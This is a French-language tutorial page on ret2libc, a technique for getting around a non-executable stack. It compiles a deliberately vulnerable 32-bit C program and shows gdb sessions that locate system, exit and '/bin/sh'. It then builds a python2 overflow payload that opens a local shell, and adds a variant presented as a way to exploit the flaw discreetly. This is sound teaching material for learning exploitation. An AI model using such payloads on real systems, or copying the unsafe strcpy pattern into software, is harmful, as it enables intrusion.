> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/stack/ret2libc.md).

# ret2libc

Ou comment contourner NX...

Dans [Stack buffer overflow](/cyber/pwn/stack/stack-buffer-overflow.md) on a vu comment exploiter un buffer overflow avec un shellcode placé sur la pile. Pour se protéger d'une telle exploitation il est possible de rendre la pile non exécutable, de cette façon le CPU ne pourra pas exécuter le shellcode (voir [NX](/cyber/pwn/protections/nx.md)).

On avait compilé notre programme avec la commande:

```bash
gcc stack-buffer-overflow.c -o stack-buffer-overflow -fno-stack-protector -z execstack -no-pie -m32
```

Le flag `-z execstack` sert à s'assurer que la pile soit exécutable.

Mais comment faire quand NX (no-execute) est activé ?

## Idée

Quand on compile un programme C, le linker (voir [Prologue](/cyber/rev/prologue.md#librairies-et-linking)) ajoute par défaut la/libc à l'exécutable. Elle contient des fonctions standart C pour les opérations d'entrée/sortie, la manipulation de chaînes de caractères, l'allocation de mémoire, les calculs mathématiques et diverses autres tâches.

Parmi toutes ces fonctions il y a `system` qui permet de lancer l'exécution d'une commande sur l'OS. Si on ne peut pas utiliser de shellcode pour exécuter la commande **/bin/sh**, on peut quand même utiliser **system("/bin/sh")**. On appelle ça le **ret2libc** (retour à la libc) !

## Arrangement de la stack

Commençons par regarder comment `system` est appelée avec un programme simple:

```c
#include <stdlib.h>

int main(int argc, char** argv) {
    
    char command[] = "/bin/sh";
    system(command);
 
    return 0;   
}
```

Quand on l'exécute on obtient bien un shell:

```bash
sam@kali:~exploits$ gcc system.c -o system -m32
sam@kali:~exploits$ ./system
$ whoami
sam
$ 
```

Regardons avec gdb comment `system` est appelée.

```
sam@kali:~exploits$ gdb ./system
gef➤  disas main
Dump of assembler code for function main:
   [...]
   0x565561eb <+62>:	sub    esp,0xc
   0x565561ee <+65>:	lea    edx,[ebp-0x14]
   0x565561f1 <+68>:	push   edx
   0x565561f2 <+69>:	mov    ebx,eax
   0x565561f4 <+71>:	call   0x56556060 <system@plt>  <== appel à system
   0x565561f9 <+76>:	add    esp,0x10
   [...]
   0x5655621b <+110>:	ret    0x565561fc <+79>:	mov    eax,0x0
End of assembler dump.
```

D'abord de la place est faite sur la stack en baissant le sommet (`sub esp,0xc`). Puis le contenu à l'adresse de `ebp-0x14` est placée dans edx avant d'être mise au sommet de la pile. Regardons ce qui se trouve à cette adresse (à priori ça doit être `"/bin/sh"`).

```
// on met un breakpoint avant l'appel à system
gef➤ b *main+71
// lancement du programme
gef➤ r
// une fois le breakpoint atteint on regarde l'adresse à $ebp-0x14 (c'est 0xffffd054)
gef➤ x $ebp-0x14
0xffffd054:	0x6e69622f 
// on affiche le contenu à cette adresse comme un string (s)
gef➤ x/s 0xffffd054
0xffffd054:	"/bin/sh"
```

A cet instant la pile est dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FoGzVF1atxN6jLhTdMOXL%2FEtat%20de%20la%20pile%20avant%20l'appel%20%C3%A0%20system.svg?alt=media&amp;token=5660abd3-b6c0-45af-a31e-4afdd7804892" alt="" width="380"><figcaption></figcaption></figure>

Ensuite le contenu de `eax` est copié dans `ebx` et `system` est appelée avec l'instruction `call`.

`call` fait 2 choses:

1. elle place l'adresse de retour au sommet de la stack (0x565561f9)
2. elle saut à l'adresse de la fonction (0x56556060)

Après `call   0x56556060 <system@plt>` la pile est donc dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FUFRf6agIO1iWV0KA853e%2FEtat%20de%20la%20pile%20apr%C3%A8s%20l'ex%C3%A9cution%20de%20l'instruction%20call.svg?alt=media&amp;token=14fa1f30-56b2-4e3a-9ed7-ef9afcc72f10" alt="" width="383"><figcaption><p>Etat de la pile après l'exécution de l'instruction call</p></figcaption></figure>

En exploitant le buffer overflow on va écraser l'adresse de retour de `main` et au lieu de mettre l'adresse d'un shellcode, nous allons mettre l'adresse de `system`. Comme ça à la fin de l'exécution de `main`, l'instruction `ret` va retirer la valeur au sommet de la pile (l'adresse de `system`) et la mettre dans `eip` et le CPU sautera à cette adresse.

{% hint style="info" %}

```
ret = pop eip
```

{% endhint %}

Comme on vient de le voir, à l'appel de `system` la pile doit être dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FUFRf6agIO1iWV0KA853e%2FEtat%20de%20la%20pile%20apr%C3%A8s%20l'ex%C3%A9cution%20de%20l'instruction%20call.svg?alt=media&amp;token=14fa1f30-56b2-4e3a-9ed7-ef9afcc72f10" alt="" width="383"><figcaption><p>Etat de la pile après l'exécution de l'instruction call</p></figcaption></figure>

Il faut donc que notre overflow mette la pile dans cet état:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2Ftrcm6xZOv5lGNYGGntlu%2FEtat%20souhait%C3%A9%20de%20la%20pile%20apr%C3%A8s%20l'overflow.svg?alt=media&amp;token=1e4da663-992c-4ddd-92ed-0bb8dee07a61" alt="" width="415"><figcaption><p>Etat souhaité de la pile après l'overflow</p></figcaption></figure>

L'adresse de retour de `system` (ici 0x565561f9) sera utilisée une fois que notre commande aura été exécutée pour revenir à la fonction appelante. Ici on veut juste ouvrir un shell donc peu importe où l'exécution continue après la fonction `system`: donc en réalité on peut mettre n'importe qu'elle valeur de 4 octets.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FbQZeFpwex2RaxlKPXkI2%2FEtat%20de%20la%20pile%20%C3%A0%20la%20fin%20de%20l'ex%C3%A9cution%20de%20copy%20et%20au%20d%C3%A9but%20de%20system.svg?alt=media&amp;token=62c565b1-6cd7-41f3-a789-854f73b9e80b" alt=""><figcaption><p>Etat de la pile à la fin de l'exécution de copy et au début de system</p></figcaption></figure>

## Exploitation

Reprenons le même code que la dernière fois (sans `overflowed` car elle servait juste d'exemple pour modifier le flux d'exécution):

```c
#include <stdio.h>
#include <string.h>

void copy(char* src) {

	// copie le contenu de src dans buffer
	char buffer[50];
	strcpy(buffer, src);
	
	// affiche le contenu de buffer
	printf("Contenu de buffer:\n");
	for (int i=0; i<50; i++) {
		printf("%c", buffer[i]);
	}
	printf("\n");

}

int main(int argc, char** argv) {
	
	copy(argv[1]);

	return 0;
}
```

On le compile:

```bash
gcc ret2libc.c -o ret2libc -fno-stack-protector -no-pie -m32
```

Vérifions que la pile n'est pas exécutable:

```bash
sam@kali:~exploits$ readelf -l ret2libc | grep STACK
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
```

Elle est accessible en lecture (R), écriture (W) mais n'est pas exécutable (pas de X).

Super, il nous reste 3 choses à faire:

* trouver le nombre d'octets nécessaires pour écraser l'adresse de retour de `copy`
* trouver l'adresse de `system`
* trouver l'adresse de `"/bin/sh"`

Commençons par le buffer overflow.

```c
sam@kali:~exploits$ gdb ./ret2libc
gef➤  disass copy
Dump of assembler code for function copy:
   0x08049196 <+0>:	push   ebp
   0x08049197 <+1>:	mov    ebp,esp
   0x08049199 <+3>:	push   ebx
   0x0804919a <+4>:	sub    esp,0x44
   0x0804919d <+7>:	call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x080491a2 <+12>:	add    ebx,0x2e5e
   0x080491a8 <+18>:	sub    esp,0x8
   0x080491ab <+21>:	push   DWORD PTR [ebp+0x8]
   0x080491ae <+24>:	lea    eax,[ebp-0x3e]  <== l'adresse du buffer
   0x080491b1 <+27>:	push   eax
   0x080491b2 <+28>:	call   0x8049050 <strcpy@plt>  <== appel à strcpy
   0x080491b7 <+33>:	add    esp,0x10
   0x080491ba <+36>:	sub    esp,0xc
   [...]
   0x080491fe <+104>:	leave  
   0x080491ff <+105>:	ret    
End of assembler dump.
```

On voit que notre buffer est situé à 0x3e (62) octets de `ebp`. Il faut donc 62+4=66 octets pour atteindre l'adresse de retour (on ajoute 4 pour écraser `ebp` qui fait 4 octets en 32-bit).

Notre entrée va ressembler à ça:

```
[ 66 octets ] [ adresse de system ] [ 4 octets ] [ adresse de "/bin/sh" ]
```

On peut récupérer l'adresse de `system` avec gdb:

```c
// breakpoint à main
gef➤ b main
// lancement du programme
gef➤ r
// on récupère l'adresse de system
gef➤ p &system
$1 = (<text variable, no debug info> *) 0xf7c48170 <system>
```

`system` est donc à l'adresse **0xf7c48170**.

Il ne manque que l'adresse de `"/bin/sh"`. On peut la chercher avec cette commande:

```c
gef➤  find __libc_start_main,+99999999,"/bin/sh"
0xf7dbd0f5
warning: Unable to access 16000 bytes of target memory at 0xf7e323fd, halting search.
1 pattern found.
```

Elle cherche `"/bin/sh"` dans une zone mémoire de 99999999 octets commençant à `__libc_start_main` (la fonction qui appelle `main` et initialise l'environnement).

On peut vérifier:

```
gef➤  x/s 0xf7dbd0f5
0xf7dbd0f5:	"/bin/sh"
```

`"/bin/sh"` est à l'adresse **0xf7dbd0f5**.

C'est bon on a tous nos ingrédients pour un retour à la libc !

Attention à ne pas oublier que les données sont stockées en little endian dans la mémoire ! (on entre 0x7081c4f7 pour 0xf7c48170...)

```
gef➤  r $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "A"*4 + "\xf5\xd0\xdb\xf7")')
Starting program: /home/sam/Documents/exploits/ret2libc $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "A"*4 + "\xf5\xd0\xdb\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Contenu de buffer:
[Detaching after vfork from child process 15235]
$ whoami
sam
$

```

On obtient bien notre shell !

### Exit

Etant donné que nous avons mis "AAAA" (4 octets au hasard) en tant qu'adresse de retour de `system`, quitter le shell entraine le CPU à sauter à cette adresse et on a une segmentation fault:

```c
gef➤  r $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "A"*4 + "\xf5\xd0\xdb\xf7")')
Starting program: /home/sam/Documents/exploits/ret2libc $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "A"*4 + "\xf5\xd0\xdb\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Contenu de buffer:
[Detaching after vfork from child process 15235]
$ whoami
sam
$ exit

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

On voit bien l'adresse de retour 0x41414141 (AAAA).

Pour faire quitter le programme "proprement" après avoir fermé le shell on peut faire appel à la fonction `exit` en mettant son adresse à la place de "AAAA". Cela permet par exemple d'exploiter la faille discrètement.

On récupère son adresse comme on a fait pour `system`:

```c
gef➤ b main
Breakpoint 1 at 0x804920e
gef➤  p &exit
$2 = (<text variable, no debug info> *) 0xf7c3a460 <exit>
```

`exit` est à l'adresse **0xf7c3a460**.

```c
gef➤  r $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "\x60\xa4\xc3\xf7" + "\xf5\xd0\xdb\xf7")')
Starting program: /home/sam/Documents/exploits/ret2libc $(python2 -c 'print("A"*66 + "\x70\x81\xc4\xf7" + "\x60\xa4\xc3\xf7" + "\xf5\xd0\xdb\xf7")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Contenu de buffer:
[Detaching after vfork from child process 15319]
$ whoami
sam
$ exit

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 15317) exited normally]
```

Parfait ! Le processus se termine normalement, on est bien incognito !

## Protections

Le retour à la libc se base sur notre capacité à trouver l'adresse de la fonction `system` dans le binaire. Si nous en sommes incapables alors on ne peut plus utiliser cette technique !&#x20;

L'ASLR (Address space layout randomization) permet de modifier à chaque exécution les adresses et par conséquent protège contre le ret2libc (voir [ASLR](/cyber/pwn/protections/aslr.md)). Mais pas de panique, on peut encore exploiter des buffer overflow malgré l'ASLR avec le ROP par exemple...

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FrfQdZSrcwh8mTsYDCKFX%2Fwe-find-a-way.png?alt=media&amp;token=6e9438a5-1ccf-4af5-9579-2f17f08ff92d" alt="" width="375"><figcaption></figcaption></figure>
